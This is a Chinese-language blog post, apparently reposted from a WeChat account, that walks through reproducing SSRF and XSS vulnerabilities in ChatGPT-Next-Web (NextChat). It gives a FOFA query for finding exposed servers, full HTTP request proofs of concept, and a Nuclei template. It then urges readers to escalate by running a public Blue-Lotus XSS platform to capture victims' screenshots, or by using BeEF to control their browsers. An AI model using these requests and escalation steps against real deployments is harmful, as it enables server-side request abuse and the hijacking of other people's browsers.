首先我们要确定一下漏洞点！
ChatGPT-Next-Web SSRF漏洞(CVE-2024-27564)+XSS漏洞复现(CVE-2023-49785)
一般的组合漏洞遇到不要慌
做渗透的第一件事就是要信息收集，你连资产都没有，玩个der~
0x03 复现环境
FOFA: app="ChatGPT-Next-Web"
找到资产之后，我们要进行第二步，整个渗透的手法不就嘎一下上来了吗
SSRF-POC
GET /api/cors/http:%2f%2fnextchat.2222222222.pb0e92.dnslog.cn%23 HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: close
XSS-POC
GET /api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23 HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: close
第三步：如果你觉得手酸，你可以直接用自动化检测脚本
1、NUCLEI
id: CVE-2023-49785info:name: ChatGPT-Next-Web - SSRF/XSSauthor: nvn1729severity: criticaldescription: |Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Webremediation: |Do not expose to the Internetreference:- https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/classification:cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ncvss-score: 9.1cve-id: CVE-2023-49785metadata:max-request: 1shodan-query: title:NextChat,"ChatGPT Next Web"verified: truetags: cve,cve2023,ssrf,xss,chatgpt,nextchathttp:- method: GETpath:- "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"- "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"matchers-condition: ormatchers:- type: dsldsl:- contains(body_1, "<script>alert(document.domain)</script>")- contains(header_1, "text/html")condition: and- type: dsldsl:- contains(header_2,'X-Interactsh-Version')- contains(interactsh_protocol_2,'dns')condition: and
2、红岸检测
第四步：整花活，如果你想整点东西，可以在公网上搭建一下平台
比如Blue-Lotus平台
获取对方浏览截图
如果收到消息将提示
部分截图信息
或者说用beef来控制对方
上手段！！！
等下，门外有人敲门，我回来再继续写，什么玩意，红蓝闪的我晃眼睛！
原文始发于微信公众号（暗影网安实验室）：ChatGPT【AI与黑客的对决】XSS+CSRF无情之蚁剑直连/屏幕截屏
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论